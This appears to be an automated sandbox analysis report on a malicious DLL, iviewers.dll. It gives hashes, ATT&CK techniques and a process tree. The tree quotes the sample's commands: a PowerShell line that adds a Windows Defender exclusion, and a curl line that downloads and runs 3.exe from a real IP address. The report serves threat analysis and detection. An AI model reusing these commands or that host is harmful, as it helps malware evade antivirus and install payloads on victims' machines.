e5f28e017baf7ffebe3b58cee33a73d3006acf6f3e15c9bb149aa4a13da6c848

Analysis

max time kernel
7s
max time network
19s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
22/02/2025, 14:19

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General

Target

iviewers.dll
Size

83KB
MD5

b273ffa32f2666ea4009ad513068fe88
SHA1

f5da4946574e72fa24587e005f9bf4974a37856d
SHA256

517963b561575a9592becf985ea32fa5a9c5accbcb4a70857ee5543c7b72e42f
SHA512

bc666ee4e658e0875e53b3157c07983660c5a2d0436f5cac57c1c704ccec0ea676700be28f00d7d623f922123ce1669ae868cefb35b67f1e181834e4cba9d794
SSDEEP

1536:cbo5eK+wzZQ1LRC7ivPv8ZqTfXeqvz+NBGQS18sWpcdVQHLHWeDCf7/P/:cs5tXVQLRC7iv4qTvcGQS1VQHjWeDCfb

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1716	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1716	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1716	powershell.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 2148 wrote to memory of 2288	2148	regsvr32.exe	29
PID 2148 wrote to memory of 2288	2148	regsvr32.exe	29
PID 2148 wrote to memory of 2288	2148	regsvr32.exe	29
PID 2148 wrote to memory of 2288	2148	regsvr32.exe	29
PID 2148 wrote to memory of 2288	2148	regsvr32.exe	29
PID 2148 wrote to memory of 2288	2148	regsvr32.exe	29
PID 2148 wrote to memory of 2288	2148	regsvr32.exe	29
PID 2288 wrote to memory of 2144	2288	regsvr32.exe	30
PID 2288 wrote to memory of 2144	2288	regsvr32.exe	30
PID 2288 wrote to memory of 2144	2288	regsvr32.exe	30
PID 2288 wrote to memory of 2144	2288	regsvr32.exe	30
PID 2144 wrote to memory of 1716	2144	cmd.exe	32
PID 2144 wrote to memory of 1716	2144	cmd.exe	32
PID 2144 wrote to memory of 1716	2144	cmd.exe	32
PID 2144 wrote to memory of 1716	2144	cmd.exe	32
PID 2288 wrote to memory of 2888	2288	regsvr32.exe	33
PID 2288 wrote to memory of 2888	2288	regsvr32.exe	33
PID 2288 wrote to memory of 2888	2288	regsvr32.exe	33
PID 2288 wrote to memory of 2888	2288	regsvr32.exe	33

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\iviewers.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:2148
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\iviewers.dll
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2288
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\3.exe'"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2144
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\3.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1716
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c cd C:\Windows\Temp\ & curl -o 3.exe http://147.45.44.170/3.exe & start 3.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2888

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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